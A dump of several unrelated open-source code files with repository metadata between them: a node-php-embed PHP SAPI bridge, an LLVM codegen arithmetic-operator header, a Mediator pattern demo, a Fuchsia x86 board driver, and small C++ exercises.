TSRMLS_CC); if (EG(exception)) { // This exception is often the "ASYNC inside SYNC" TypeError, which // is harmless in this context, so don't be noisy about it. TRACE("- exception caught (ignoring)"); zend_clear_exception(TSRMLS_C); } zval_dtor(&buffer); zval_dtor(&wait); TRACE("<"); } static void node_php_embed_send_header(sapi_header_struct *sapi_header, void *server_context TSRMLS_DC) { TRACE(">"); // Fetch the MapperChannel for this thread. PhpRequestWorker *worker = NODE_PHP_EMBED_G(worker); MapperChannel *channel = NODE_PHP_EMBED_G(channel); if (!worker) { return; /* we're in module shutdown, no headers any more */ } ZVal stream{ZEND_FILE_LINE_C}, retval{ZEND_FILE_LINE_C}; worker->GetStream().ToPhp(channel, stream TSRMLS_CC); // Use plain zval to avoid allocating copy of method name. // The "sendHeader" method is a special JS-side method to translate // headers into node.js format. zval method; INIT_ZVAL(method); ZVAL_STRINGL(&method, "sendHeader", 10, 0); // Special buffer type to pass `str` as a node buffer and avoid copying. zval buffer, *args[] = { &buffer }; INIT_ZVAL(buffer); if (sapi_header) { // NULL is passed to indicate "last call" node_php_embed::node_php_jsbuffer_create( &buffer, sapi_header->header, sapi_header->header_len, OwnershipType::NOT_OWNED TSRMLS_CC); } call_user_function(EG(function_table), stream.PtrPtr(), &method, retval.Ptr(), 1, args TSRMLS_CC); if (EG(exception)) { NPE_ERROR("- exception caught (ignoring)"); zend_clear_exception(TSRMLS_C); } zval_dtor(&buffer); TRACE("<"); } static int node_php_embed_read_post(char *buffer, uint count_bytes TSRMLS_DC) { // Invoke stream.read with a PHP "JsWait" callback, which causes PHP // to block until the callback is handled. TRACE(">"); // Fetch the MapperChannel for this thread. PhpRequestWorker *worker = NODE_PHP_EMBED_G(worker); MapperChannel *channel = NODE_PHP_EMBED_G(channel); if (!worker) { return 0; /* we're in module shutdown, no request any more */ } ZVal stream{ZEND_FILE_LINE_C}, retval{ZEND_FILE_LINE_C}; worker->GetStream().ToPhp(channel, stream TSRMLS_CC); // Use plain zval to avoid allocating copy of method name. zval method; INIT_ZVAL(method); ZVAL_STRINGL(&method, "read", 4, 0); zval size; INIT_ZVAL(size); ZVAL_LONG(&size, count_bytes); // Create the special JsWait object. zval wait; INIT_ZVAL(wait); node_php_embed::node_php_jswait_create(&wait TSRMLS_CC); zval *args[] = { &size, &wait }; // We can't use call_user_function yet because the PHP function caches // are not properly set up. Use the backdoor. node_php_jsobject_call_method(stream.Ptr(), &method, 2, args, retval.Ptr(), retval.PtrPtr() TSRMLS_CC); if (EG(exception)) { NPE_ERROR("- exception caught (ignoring)"); zend_clear_exception(TSRMLS_C); return 0; } zval_dtor(&wait); // Transfer the data from the retval to the buffer if (!(retval.IsObject() && Z_OBJCE_P(retval.Ptr()) == php_ce_jsbuffer)) { NPE_ERROR("Return value was not buffer :("); return 0; } node_php_jsbuffer *b = reinterpret_cast<node_php_jsbuffer *> (zend_object_store_get_object(retval.Ptr() TSRMLS_CC)); assert(b->length <= count_bytes); memcpy(buffer, b->data, b->length); TRACEX("< (read %lu)", b->length); return static_cast<int>(b->length); } static char * node_php_embed_read_cookies(TSRMLS_D) { // This is a hack to prevent the SAPI from overwriting the // cookie data we set up in the PhpRequestWorker constructor. return SG(request_info).cookie_data; } static void node_php_embed_register_server_variables( zval *track_vars_array TSRMLS_DC) { TRACE(">"); PhpRequestWorker *worker = NODE_PHP_EMBED_G(worker); MapperChannel *channel = NODE_PHP_EMBED_G(channel); // Invoke the init_func in order to set up the $_SERVER variables. ZVal init_func{ZEND_FILE_LINE_C}; ZVal server{ZEND_FILE_LINE_C}; ZVal wait{ZEND_FILE_LINE_C}; worker->GetInitFunc().ToPhp(channel, init_func TSRMLS_CC); assert(init_func.Type() == IS_OBJECT); // Create a wrapper that will allow the JS function to set $_SERVER. node_php_embed::node_php_jsserver_create(server.Ptr(), track_vars_array TSRMLS_CC); // Allow the JS function to be asynchronous. node_php_embed::node_php_jswait_create(wait.Ptr() TSRMLS_CC); // Now invoke the JS function, passing in the wrapper zval *r = nullptr; zend_call_method_with_2_params(init_func.PtrPtr(), Z_OBJCE_P(init_func.Ptr()), nullptr, "__invoke", &r, server.Ptr(), wait.Ptr()); if (EG(exception)) { NPE_ERROR("Exception in server init function"); zend_clear_exception(TSRMLS_C); } if (r) { zval_ptr_dtor(&r); } TRACE("<"); } NAN_METHOD(setIniPath) { TRACE(">"); REQUIRE_ARGUMENT_STRING(0, ini_path); if (php_embed_module.php_ini_path_override) { free(php_embed_module.php_ini_path_override); } php_embed_module.php_ini_path_override = (*ini_path) ? strdup(*ini_path) : nullptr; TRACE("<"); } NAN_METHOD(setStartupFile) { TRACE(">"); REQUIRE_ARGUMENT_STRING(0, file_name); if (node_php_embed_startup_file) { free(node_php_embed_startup_file); } node_php_embed_startup_file = (*file_name) ? strdup(*file_name) : nullptr; TRACE("<"); } NAN_METHOD(setExtensionDir) { TRACE(">"); REQUIRE_ARGUMENT_STRING(0, ext_dir); if (node_php_embed_extension_dir) { free(node_php_embed_extension_dir); } node_php_embed_extension_dir = (*ext_dir) ? strdup(*ext_dir) : nullptr; TRACE("<"); } NAN_METHOD(request) { TRACE(">"); REQUIRE_ARGUMENTS(4); REQUIRE_ARGUMENT_STRING_NOCONV(0); if (!info[1]->IsObject()) { return Nan::ThrowTypeError("stream expected"); } if (!info[2]->IsArray()) { return Nan::ThrowTypeError("argument array expected"); } if (!info[3]->IsObject()) { return Nan::ThrowTypeError("server vars object expected"); } if (!info[4]->IsFunction()) { return Nan::ThrowTypeError("init function expected"); } if (!info[5]->IsFunction()) { return Nan::ThrowTypeError("callback expected"); } v8::Local<v8::String> source = info[0].As<v8::String>(); v8::Local<v8::Object> stream = info[1].As<v8::Object>(); v8::Local<v8::Array> args = info[2].As<v8::Array>(); v8::Local<v8::Object> server_vars = info[3].As<v8::Object>(); v8::Local<v8::Value> init_func = info[4]; Nan::Callback *callback = new Nan::Callback(info[5].As<v8::Function>()); node_php_embed_ensure_init(); Nan::AsyncQueueWorker(new PhpRequestWorker(callback, source, stream, args, server_vars, init_func, node_php_embed_startup_file)); TRACE("<"); } /** PHP module housekeeping */ PHP_MINFO_FUNCTION(node_php_embed) { php_info_print_table_start(); php_info_print_table_row(2, "Version", NODE_PHP_EMBED_VERSION); php_info_print_table_row(2, "Node version", NODE_VERSION_STRING); php_info_print_table_row(2, "PHP version", PHP_VERSION); php_info_print_table_end(); } static void node_php_embed_globals_ctor( zend_node_php_embed_globals *node_php_embed_globals TSRMLS_DC) { node_php_embed_globals->worker = nullptr; node_php_embed_globals->channel = nullptr; } static void node_php_embed_globals_dtor( zend_node_php_embed_globals *node_php_embed_globals TSRMLS_DC) { // No clean up required. } PHP_MINIT_FUNCTION(node_php_embed) { TRACE("> PHP_MINIT_FUNCTION"); PHP_MINIT(node_php_jsbuffer_class)(INIT_FUNC_ARGS_PASSTHRU); PHP_MINIT(node_php_jsobject_class)(INIT_FUNC_ARGS_PASSTHRU); PHP_MINIT(node_php_jsserver_class)(INIT_FUNC_ARGS_PASSTHRU); PHP_MINIT(node_php_jswait_class)(INIT_FUNC_ARGS_PASSTHRU); TRACE("< PHP_MINIT_FUNCTION"); return SUCCESS; } zend_module_entry node_php_embed_module_entry = { STANDARD_MODULE_HEADER, "node-php-embed", /* extension name */ nullptr, /* function entries */ PHP_MINIT(node_php_embed), /* MINIT */ nullptr, /* MSHUTDOWN */ nullptr, /* RINIT */ nullptr, /* RSHUTDOWN */ PHP_MINFO(node_php_embed), /* MINFO */ NODE_PHP_EMBED_VERSION, ZEND_MODULE_GLOBALS(node_php_embed), (void(*)(void* TSRMLS_DC))node_php_embed_globals_ctor, (void(*)(void* TSRMLS_DC))node_php_embed_globals_dtor, nullptr, /* post deactivate func */ STANDARD_MODULE_PROPERTIES_EX }; /** Node module housekeeping. */ static void ModuleShutdown(void *arg); #ifdef ZTS static void ***tsrm_ls; #endif static bool node_php_embed_inited = false; static void node_php_embed_ensure_init(void) { if (node_php_embed_inited) { return; } TRACE(">"); node_php_embed_inited = true; // Module must be opened with RTLD_GLOBAL so that PHP can later // load extensions. So re-invoke dlopen to twiddle the flags. if (node_php_embed_extension_dir) { std::string path(node_php_embed_extension_dir); path += "/node_php_embed.node"; dlopen(path.c_str(), RTLD_LAZY|RTLD_GLOBAL|RTLD_NOLOAD); } // We also have to lie about the sapi name (!) in order to get opcache // to start up. (Well, we could also patch PHP to fix this.) char *old_name = php_embed_module.name; // opcache is unhappy if we deallocate this, so keep it around forever-ish. static char new_name[] = { "cli" }; php_embed_module.name = new_name; php_embed_init(0, nullptr PTSRMLS_CC); // Shutdown the initially-created request; we'll create our own request // objects inside PhpRequestWorker. php_request_shutdown(nullptr); PhpRequestWorker::CheckRequestInfo(TSRMLS_C); node::AtExit(ModuleShutdown, nullptr); // Reset the SAPI module name now that all extensions (opcache in // particular) are loaded. php_embed_module.name = old_name; TRACE("<"); } NAN_MODULE_INIT(ModuleInit) { TRACE(">"); node_php_embed_startup_file = NULL; node_php_embed_extension_dir = NULL; php_embed_module.php_ini_path_override = nullptr; php_embed_module.php_ini_ignore = true; php_embed_module.php_ini_ignore_cwd = true; php_embed_module.ini_defaults = nullptr; // The following initialization statements are kept in the same // order as the fields in `struct _sapi_module_struct` (SAPI.h) php_embed_module.startup = node_php_embed_startup; php_embed_module.ub_write = node_php_embed_ub_write; php_embed_module.flush = node_php_embed_flush; php_embed_module.send_header = node_php_embed_send_header; php_embed_module.read_post = node_php_embed_read_post; php_embed_module.read_cookies = node_php_embed_read_cookies; php_embed_module.register_server_variables = node_php_embed_register_server_variables; // Most of init will be done lazily in node_php_embed_ensure_init() // Initialize object type allowing access to PHP objects from JS node_php_embed::PhpObject::Init(target); // Export functions NAN_EXPORT(target, setIniPath); NAN_EXPORT(target, setStartupFile); NAN_EXPORT(target, setExtensionDir); NAN_EXPORT(target, request); TRACE("<"); } void ModuleShutdown(void *arg) { TRACE(">"); TSRMLS_FETCH(); // The php_embed_shutdown expects there to be an open request, so // create one just for it to shutdown for us. php_request_startup(TSRMLS_C); php_embed_shutdown(TSRMLS_C); if (php_embed_module.php_ini_path_override) { free(php_embed_module.php_ini_path_override); php_embed_module.php_ini_path_override = NULL; } if (node_php_embed_startup_file) { free(node_php_embed_startup_file); node_php_embed_startup_file = NULL; } TRACE("<"); } NODE_MODULE(node_php_embed, ModuleInit)
36.660674
80
0.716072
jehovahsays
dec5f3eff0c32ae0ad9d69d3ca362fc866dd4dfe
10,479
hpp
C++
include/codegen/arithmetic_ops.hpp
tetzank/codegen
790aeccd6f2651dff053118593606fe8e560071c
[ "MIT" ]
389
2019-05-19T16:51:28.000Z
2022-02-27T12:29:38.000Z
include/codegen/arithmetic_ops.hpp
tetzank/codegen
790aeccd6f2651dff053118593606fe8e560071c
[ "MIT" ]
3
2019-05-20T05:42:57.000Z
2019-07-17T18:50:17.000Z
include/codegen/arithmetic_ops.hpp
tetzank/codegen
790aeccd6f2651dff053118593606fe8e560071c
[ "MIT" ]
20
2019-05-19T17:00:02.000Z
2021-12-29T01:47:50.000Z
/* * Copyright © 2019 Paweł Dziepak * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #pragma once #include "codegen/module_builder.hpp" namespace codegen { namespace detail { enum class arithmetic_operation_type { add, sub, mul, div, mod, and_, or_, xor_, }; template<arithmetic_operation_type Op, typename LHS, typename RHS> class arithmetic_operation { LHS lhs_; RHS rhs_; static_assert(std::is_same_v<typename LHS::value_type, typename RHS::value_type>); public: using value_type = typename LHS::value_type; arithmetic_operation(LHS lhs, RHS rhs) : lhs_(std::move(lhs)), rhs_(std::move(rhs)) {} llvm::Value* eval() const { if constexpr (std::is_integral_v<value_type>) { switch (Op) { case arithmetic_operation_type::add: return current_builder->ir_builder_.CreateAdd(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::sub: return current_builder->ir_builder_.CreateSub(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::mul: return current_builder->ir_builder_.CreateMul(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::div: if constexpr (std::is_signed_v<value_type>) { return current_builder->ir_builder_.CreateSDiv(lhs_.eval(), rhs_.eval()); } else { return current_builder->ir_builder_.CreateUDiv(lhs_.eval(), rhs_.eval()); } case arithmetic_operation_type::mod: if constexpr (std::is_signed_v<value_type>) { return current_builder->ir_builder_.CreateSRem(lhs_.eval(), rhs_.eval()); } else { return current_builder->ir_builder_.CreateURem(lhs_.eval(), rhs_.eval()); } case arithmetic_operation_type::and_: return current_builder->ir_builder_.CreateAnd(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::or_: return current_builder->ir_builder_.CreateOr(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::xor_: return current_builder->ir_builder_.CreateXor(lhs_.eval(), rhs_.eval()); } } else { switch (Op) { case arithmetic_operation_type::add: return current_builder->ir_builder_.CreateFAdd(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::sub: return current_builder->ir_builder_.CreateFSub(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::mul: return current_builder->ir_builder_.CreateFMul(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::div: return current_builder->ir_builder_.CreateFDiv(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::mod: return current_builder->ir_builder_.CreateFRem(lhs_.eval(), rhs_.eval()); case arithmetic_operation_type::and_: [[fallthrough]]; case arithmetic_operation_type::or_: [[fallthrough]]; case arithmetic_operation_type::xor_: abort(); } } } friend std::ostream& operator<<(std::ostream& os, arithmetic_operation const& ao) { auto symbol = [] { switch (Op) { case arithmetic_operation_type::add: return '+'; case arithmetic_operation_type::sub: return '-'; case arithmetic_operation_type::mul: return '*'; case arithmetic_operation_type::div: return '/'; case arithmetic_operation_type::mod: return '%'; case arithmetic_operation_type::and_: return '&'; case arithmetic_operation_type::or_: return '|'; case arithmetic_operation_type::xor_: return '^'; } }(); return os << '(' << ao.lhs_ << ' ' << symbol << ' ' << ao.rhs_ << ')'; } }; enum class pointer_arithmetic_operation_type { add, sub, }; template<pointer_arithmetic_operation_type Op, typename LHS, typename RHS> class pointer_arithmetic_operation { LHS lhs_; RHS rhs_; static_assert(std::is_pointer_v<typename LHS::value_type>); static_assert(std::is_integral_v<typename RHS::value_type>); using rhs_value_type = typename RHS::value_type; public: using value_type = typename LHS::value_type; pointer_arithmetic_operation(LHS lhs, RHS rhs) : lhs_(std::move(lhs)), rhs_(std::move(rhs)) {} llvm::Value* eval() const { auto& mb = *current_builder; auto rhs = rhs_.eval(); if constexpr (sizeof(rhs_value_type) < sizeof(uint64_t)) { if constexpr (std::is_unsigned_v<rhs_value_type>) { rhs = mb.ir_builder_.CreateZExt(rhs, type<uint64_t>::llvm()); } else { rhs = mb.ir_builder_.CreateSExt(rhs, type<int64_t>::llvm()); } } switch (Op) { case pointer_arithmetic_operation_type::add: return mb.ir_builder_.CreateInBoundsGEP(lhs_.eval(), rhs); case pointer_arithmetic_operation_type::sub: return mb.ir_builder_.CreateInBoundsGEP(lhs_.eval(), mb.ir_builder_.CreateSub(constant<int64_t>(0), rhs)); } abort(); } friend std::ostream& operator<<(std::ostream& os, pointer_arithmetic_operation const& ao) { auto symbol = [] { switch (Op) { case pointer_arithmetic_operation_type::add: return '+'; case pointer_arithmetic_operation_type::sub: return '-'; } }(); return os << '(' << ao.lhs_ << ' ' << symbol << ' ' << ao.rhs_ << ')'; } }; } // namespace detail template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_arithmetic_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator+(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::add, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_arithmetic_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator-(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::sub, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_arithmetic_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator*(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::mul, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_arithmetic_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator/(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::div, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_arithmetic_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator%(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::mod, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_integral_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator&(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::and_, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_integral_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator|(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::or_, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_integral_v<typename RHS::value_type> && std::is_same_v<typename RHS::value_type, typename LHS::value_type>>> auto operator^(LHS lhs, RHS rhs) { return detail::arithmetic_operation<detail::arithmetic_operation_type::xor_, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_integral_v<typename RHS::value_type> && std::is_pointer_v<typename LHS::value_type>>, typename = void> auto operator+(LHS lhs, RHS rhs) { return detail::pointer_arithmetic_operation<detail::pointer_arithmetic_operation_type::add, LHS, RHS>(std::move(lhs), std::move(rhs)); } template<typename LHS, typename RHS, typename = std::enable_if_t<std::is_integral_v<typename RHS::value_type> && std::is_pointer_v<typename LHS::value_type>>, typename = void> auto operator-(LHS lhs, RHS rhs) { return detail::pointer_arithmetic_operation<detail::pointer_arithmetic_operation_type::sub, LHS, RHS>(std::move(lhs), std::move(rhs)); } } // namespace codegen
44.974249
120
0.662945
tetzank
decb5f3e24416b5c57dff14134c7bd4af36dfda0
1,593
cpp
C++
OOD/Mediator.cpp
FrancsXiang/DataStructure-Algorithms
f8f9e6d7be94057b955330cb7058235caef5cfed
[ "MIT" ]
1
2020-04-14T05:44:50.000Z
2020-04-14T05:44:50.000Z
OOD/Mediator.cpp
FrancsXiang/DataStructure-Algorithms
f8f9e6d7be94057b955330cb7058235caef5cfed
[ "MIT" ]
null
null
null
OOD/Mediator.cpp
FrancsXiang/DataStructure-Algorithms
f8f9e6d7be94057b955330cb7058235caef5cfed
[ "MIT" ]
2
2020-09-02T08:56:31.000Z
2021-06-22T11:20:58.000Z
#include <iostream> #include <string> using namespace std; class BaseComponent; class Mediator { public: virtual void Notify(BaseComponent* sender, string event) const = 0; }; class BaseComponent { public: BaseComponent(Mediator* mediator_ = NULL) : mediator(mediator_) {} void set_mediator(Mediator* mediator_) { this->mediator = mediator_; } protected: Mediator* mediator; }; class Component1 : public BaseComponent { public: void doA() { if (mediator) { cout << "Component1 do A" << endl; mediator->Notify(this, "A"); } } void doB() { if (mediator) { cout << "Component1 do B" << endl; mediator->Notify(this, "B"); } } }; class Component2 : public BaseComponent { public: void doC() { if (mediator) { cout << "Component2 do C" << endl; mediator->Notify(this, "C"); } } void doD() { if (mediator) { cout << "Component2 do D" << endl; mediator->Notify(this, "D"); } } }; class ConcreteMediator : public Mediator { public: ConcreteMediator(Component1* comp1_, Component2* comp2_) : comp_1(comp1_), comp_2(comp2_) { comp_1->set_mediator(this); comp_2->set_mediator(this); } void Notify(BaseComponent* sender, string event) const override { if (event == "A") { this->comp_1->doB(); } if (event == "C") { this->comp_2->doD(); } } private: Component1* comp_1; Component2* comp_2; }; void client() { Component1* comp1 = new Component1(); Component2* comp2 = new Component2(); ConcreteMediator* mediator = new ConcreteMediator(comp1, comp2); comp1->doA(); comp2->doC(); } int main() { client(); return 0; }
18.964286
92
0.654739
FrancsXiang
decbc9cefd2922a4a8d1488b87d220d9a181ae2d
5,633
cc
C++
zircon/system/dev/board/x86/x86.cc
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
null
null
null
zircon/system/dev/board/x86/x86.cc
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
null
null
null
zircon/system/dev/board/x86/x86.cc
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
null
null
null
// Copyright 2019 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "x86.h" #include <fuchsia/sysinfo/c/fidl.h> #include <stdlib.h> #include <string.h> #include <zircon/status.h> #include <ddk/binding.h> #include <ddk/debug.h> #include <ddk/driver.h> #include <ddk/metadata.h> #include <ddk/platform-defs.h> #include <fbl/alloc_checker.h> #include "acpi.h" #include "smbios.h" #include "sysmem.h" zx_handle_t root_resource_handle; static zx_status_t sys_device_suspend(void* ctx, uint8_t requested_state, bool enable_wake, uint8_t suspend_reason, uint8_t* out_state) { return acpi_suspend(requested_state, enable_wake, suspend_reason, out_state); } namespace x86 { int X86::Thread() { zx_status_t status = SysmemInit(); if (status != ZX_OK) { zxlogf(ERROR, "%s: SysmemInit() failed: %d\n", __func__, status); return status; } return publish_acpi_devices(parent(), sys_root_, zxdev()); } zx_status_t X86::Start() { int rc = thrd_create_with_name( &thread_, [](void* arg) -> int { return reinterpret_cast<X86*>(arg)->Thread(); }, this, "x86_start_thread"); if (rc != thrd_success) { return ZX_ERR_INTERNAL; } return ZX_OK; } void X86::DdkRelease() { int exit_code; thrd_join(thread_, &exit_code); delete this; } zx_status_t X86::Create(void* ctx, zx_device_t* parent) { pbus_protocol_t pbus; // Please do not use get_root_resource() in new code. See ZX-1467. root_resource_handle = get_root_resource(); zx_status_t status = device_get_protocol(parent, ZX_PROTOCOL_PBUS, &pbus); if (status != ZX_OK) { return status; } // TODO(ZX-4858): Remove this use of device_get_parent(). For now, suppress this // deprecation warning to not spam the build logs #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" zx_device_t* sys_root = device_get_parent(parent); #pragma GCC diagnostic pop if (sys_root == NULL) { zxlogf(ERROR, "%s: failed to find parent node of platform (expected sys)\n", __func__); return ZX_ERR_INTERNAL; } fbl::AllocChecker ac; auto board = fbl::make_unique_checked<X86>(&ac, parent, &pbus, sys_root); if (!ac.check()) { return ZX_ERR_NO_MEMORY; } // Do ACPI init. status = board->EarlyAcpiInit(); if (status != ZX_OK) { zxlogf(ERROR, "%s: failed to initialize ACPI %d \n", __func__, status); return status; } // publish the board as ACPI root under /dev/sys/platform. PCI will get created under /dev/sys // (to preserve compatibility). status = board->DdkAdd("acpi", DEVICE_ADD_NON_BINDABLE); if (status != ZX_OK) { zxlogf(ERROR, "acpi: error %d in device_add(sys/platform/acpi)\n", status); return status; } char board_name[fuchsia_sysinfo_SYSINFO_BOARD_NAME_LEN + 1]; size_t board_name_actual = 0; status = smbios_get_board_name(board_name, sizeof(board_name), &board_name_actual); if (status != ZX_OK) { if (status == ZX_ERR_BUFFER_TOO_SMALL) { zxlogf(INFO, "acpi: smbios board name too big for sysinfo\n"); } else if (status != ZX_ERR_NOT_FOUND) { zxlogf(ERROR, "acpi: smbios board name could not be read: %s\n", zx_status_get_string(status)); } strcpy(board_name, "pc"); board_name_actual = strlen(board_name) + 1; } // Publish board name to sysinfo driver. status = board->DdkPublishMetadata("/dev/misc/sysinfo", DEVICE_METADATA_BOARD_NAME, board_name, board_name_actual); if (status != ZX_OK) { zxlogf(ERROR, "DdkPublishMetadata(board_name) failed: %d\n", status); } constexpr uint32_t dummy_board_rev = 42; status = board->DdkPublishMetadata("/dev/misc/sysinfo", DEVICE_METADATA_BOARD_REVISION, &dummy_board_rev, sizeof(dummy_board_rev)); if (status != ZX_OK) { zxlogf(ERROR, "DdkPublishMetadata(board_revision) failed: %d\n", status); } // Inform platform bus of our board name. pbus_board_info_t board_info = {}; strlcpy(board_info.board_name, board_name, sizeof(board_info.board_name)); status = board->pbus_.SetBoardInfo(&board_info); if (status != ZX_OK) { zxlogf(ERROR, "SetBoardInfo failed: %d\n", status); } // Set the "sys" suspend op in platform-bus. // The devmgr coordinator code that arranges ordering in which the suspend hooks // are called makes sure the suspend hook attached to sys/ is called dead last, // (coordinator.cpp:BuildSuspendList()). If move this suspend hook elsewhere, // we must make sure that the coordinator code arranges for this suspend op to be // called last. pbus_sys_suspend_t suspend = {sys_device_suspend, NULL}; status = board->pbus_.RegisterSysSuspendCallback(&suspend); if (status != ZX_OK) { zxlogf(ERROR, "%s: Could not register suspend callback: %d\n", __func__, status); } // Start up our protocol helpers and platform devices. status = board->Start(); if (status == ZX_OK) { // devmgr is now in charge of the device. __UNUSED auto* dummy = board.release(); } return status; } static zx_driver_ops_t x86_driver_ops = []() { zx_driver_ops_t ops = {}; ops.version = DRIVER_OPS_VERSION; ops.bind = X86::Create; return ops; }(); } // namespace x86 ZIRCON_DRIVER_BEGIN(acpi_bus, x86::x86_driver_ops, "zircon", "0.1", 3) BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_PBUS), BI_ABORT_IF(NE, BIND_PLATFORM_DEV_VID, PDEV_VID_INTEL), BI_MATCH_IF(EQ, BIND_PLATFORM_DEV_PID, PDEV_PID_X86), ZIRCON_DRIVER_END(acpi_bus)
32.75
97
0.694834
opensource-assist
decdcdf28ed2f93abdd792e82474c38a74f1aa47
355
cpp
C++
src_test/map.cpp
ahefnycmu/asvrg
bc226c0a389b4fb939ac9dc3d7ce90593ae02cf2
[ "MIT" ]
2
2018-11-15T06:29:04.000Z
2019-11-17T06:44:19.000Z
src_test/map.cpp
ahefnycmu/asvrg
bc226c0a389b4fb939ac9dc3d7ce90593ae02cf2
[ "MIT" ]
null
null
null
src_test/map.cpp
ahefnycmu/asvrg
bc226c0a389b4fb939ac9dc3d7ce90593ae02cf2
[ "MIT" ]
3
2017-12-06T13:29:49.000Z
2018-09-21T06:13:10.000Z
#include <unordered_map> #include <iostream> using namespace std; int main() { unordered_map<int, double> x; x.reserve(100); x[1] = 1.0; x[2] = 2.0; x[10] = 10.0; x[100] = 100.0; x[1000] += 1000.0; auto it = x.begin(); for(; it != x.end(); ++it) { cerr << &it->first << endl; } cerr << x[1000] << endl; return 0; }
13.148148
31
0.515493
ahefnycmu
dece768afeb7d0f92a50119257a7eaf61d604b48
355
cpp
C++
DSA_Implementation/21. DP/Recursion/modular-exponentiation.cpp
Sowmik23/All-Codes
212ef0d940fa84624bb2972a257768a830a709a3
[ "MIT" ]
5
2021-02-14T17:48:21.000Z
2022-01-24T14:29:44.000Z
DSA_Implementation/21. DP/Recursion/modular-exponentiation.cpp
Sowmik23/All-Codes
212ef0d940fa84624bb2972a257768a830a709a3
[ "MIT" ]
null
null
null
DSA_Implementation/21. DP/Recursion/modular-exponentiation.cpp
Sowmik23/All-Codes
212ef0d940fa84624bb2972a257768a830a709a3
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; ///Time Complexity: O(logn) int Pow(int x, int n, int mod){ if(n==0) return 1; else if(n%2==0){ int y = Pow(x, n/2, mod); return (y*y)%mod; } else return x%mod*Pow(x, n-1, mod)%mod; } int main(){ int x = 2 , n = 14, mod = 1e9+7; int res = Pow(x, n, mod); cout<<res<<endl; return 0; }
13.148148
40
0.552113
Sowmik23
ded17ec2fa9669d5627c4a5f44d09827ea652fed
502
hpp
C++
include/RunStatisticsPrinter.hpp
pixie-net/pixie-net-api
743e473845fc6c6d674d454b3a419d55372d99d4
[ "Unlicense" ]
null
null
null
include/RunStatisticsPrinter.hpp
pixie-net/pixie-net-api
743e473845fc6c6d674d454b3a419d55372d99d4
[ "Unlicense" ]
3
2019-04-07T17:18:47.000Z
2019-11-10T22:08:18.000Z
include/RunStatisticsPrinter.hpp
spaulaus/pixie-net
743e473845fc6c6d674d454b3a419d55372d99d4
[ "Unlicense" ]
null
null
null
